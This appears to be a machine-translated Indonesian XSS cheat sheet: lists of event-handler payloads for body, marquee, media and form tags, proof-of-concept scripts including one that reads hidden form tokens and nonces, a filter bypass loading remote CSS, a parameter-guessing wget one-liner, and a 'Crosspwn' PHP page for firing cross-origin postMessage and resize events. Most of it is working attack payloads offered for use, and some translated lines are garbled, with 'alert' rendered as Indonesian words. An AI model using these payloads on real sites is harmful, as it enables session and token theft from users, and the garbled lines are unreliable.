Kumpulan vektor tubuh. Yang terakhir hanya berfungsi untuk browser Microsoft.
<body onload=alert(1)>
<body onpageshow=alert(1)>
<body onfocus=alert(1)>
<body onhashchange=alert(1)><a href=%23x>click this!#x
<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<br><x id=x>#x
<body onresize=alert(1)>press F12!
<body onhelp=alert(1)>press F1!
Less Known XSS Vectors
Kumpulan vektor XSS yang kurang dikenal.
<marquee onstart=alert(1)>
<marquee loop=1 width=0 onfinish=alert(1)>
<audio src onloadstart=alert(1)>
<video onloadstart=alert(1)><source>
<input autofocus onblur=alert(1)>
<keygen autofocus onfocus=alert(1)>
<form onsubmit=alert(1)><input type=submit>
<select onchange=alert(1)><option>1<option>2
<menu id=x contextmenu=x onshow=alert(1)>right click me!
<object onerror=alert(1)>
Alternative PoC - Shake Your Body
Gunakan untuk mengguncang semua elemen halaman sebagai visualisasi kerentanan yang baik.
setInterval(x=>{b=document.body.style,b.marginTop=(b.marginTop=='4px')?'-4px':'4px';},5)
Alternative PoC - Brutality
Gunakan untuk menampilkan gambar karakter Sub-Zero Mortal Kombat bersama dengan "kebrutalan"
suara game.
d=document,i=d.createElement('img');i.src='//brutelogic.com.br/brutality.jpg';
d.body.insertBefore(i,d.body.firstChild);new(Audio)('//brutelogic.com.br/brutality.mp3').play();
Alternative PoC - Alert Hidden Values
Gunakan untuk membuktikan bahwa semua nilai HTML tersembunyi seperti token dan nonces di halaman target dapat dicuri.
f=document.forms;for(i=0;i<f.length;i++){e=f\[i\].elements;for(n in e){if(e\[n\].type=='hidden')
{alert(e\[n\].name+': '+e\[n\].value)}}}
Improved Likelihood of Mouse Events
Gunakan untuk membuat area yang lebih besar untuk memicu aktivitas mouse. Tambahkan yang berikut ini (sebagai atribut)
di dalam vektor XSS apa pun yang menggunakan acara mouse seperti onmouseover, onclick, dll.
style=position:fixed;top:0;left:0;font-size:999px
Alternative to Style Tag
Gunakan saat kata kunci "style" diblokir untuk inline dan nama tag. Berikan HOST dan FILE
untuk CSS atau hanya CSS saja dalam vektor kedua.
<link rel=stylesheet href=//HOST/FILE>
<link rel=stylesheet href=data:text/css,CSS>
Simple Google Scraper
Gunakan untuk mengikis hasil Google untuk QUERY yang diberikan, yang harus disediakan di terminal
skrip di bawah ini. Ini adalah baris perintah dan "$" adalah terminal prompt.
$ q="QUERY"; wget -U "Opera/4" "[https://google.com/search?num=100&q=](https://google.com/search?num=100&q= "https://google.com/search?num=100&q=")$q" -qO- | sed "s/+$q/ /g" | egrep -o ":.{12}:https?://\\S*\\??\\S*" | sed "s/.*:h/h/
Simple XSS Guesser
Gunakan untuk menemukan kelemahan XSS dengan menggunakan parameter yang tidak jelas. Cukup sediakan TARGET, sebuah XSS
probe (seperti <x) dan PARAMLIST, file dengan parameter 1 halaman per baris (seperti id, cod, q, query
dll) dalam skrip terminal di bawah ini. Ini adalah baris perintah dan "$" adalah terminal prompt.
$ t="TARGET/"; x="XSS"; q=?; while read p; do q="$q&$p=$x"; done < PARAMLIST; wget -qO- $t$q | grep $x && echo "$t !"
Cross-Origin Script (Crosspwn)
Simpan konten di bawah ini sebagai file .php dan gunakan sebagai berikut:
http: //localhost/crosspwn.php? target = // hacker.com.br/tests/
status.html & msg = peringatan <script> (document.domain)
Di mana "facebook.com" adalah asal yang diizinkan dan "localhost" sedang menyerang domain,
"//hacker.com.br/tests/status.html" adalah halaman target dan "peringatan <script> (document.domain)"
dikirim pesan.
Penggunaan lain adalah untuk menembak penangan event body onresize dan onhash tanpa pengguna
interaksi:
http: //localhost/crosspwn.php? target = // hacker.com.br/xss.php? a = <body /
onresize = lansiran (document.domain)>
Dan untuk mempersingkat dan menyembunyikan muatan yang disuntikkan, bidang tambahan "nama" dapat digunakan.
http: //localhost/crosspwn.php? target = // hacker.com.br/xss.php? a = <svg /
onload = eval (name)> & name = alert (document.domain)
=> Code:
<!DOCTYPE html>
<body onload="crossPwn()">
<h2>CrossPwn</h2>
<iframe src="<?=htmlentities($_GET\['target'\], ENT_QUOTES) ?>" name="<?=
$_GET\['name'\] ?>" height="0" style="visibility:hidden"></iframe>
<script>
function crossPwn() {
frames\[0\].postMessage('<?php echo $_GET\["msg"\] ?>','*'); // onmessage
document.getElementsByTagName('iframe')\[0\].setAttribute('height', '1'); // onresize
document.getElementsByTagName('iframe')\[0\].src = '<?=$_GET\["target"\] ?>' + '#brute'; //
onhashchange
}
</script>
</body>
</html>
# Payload Xss
https://github.com/3xploit-db/XSS-Payloads/blob/master/payload.txt
# ASCII Encoding Table
THANKS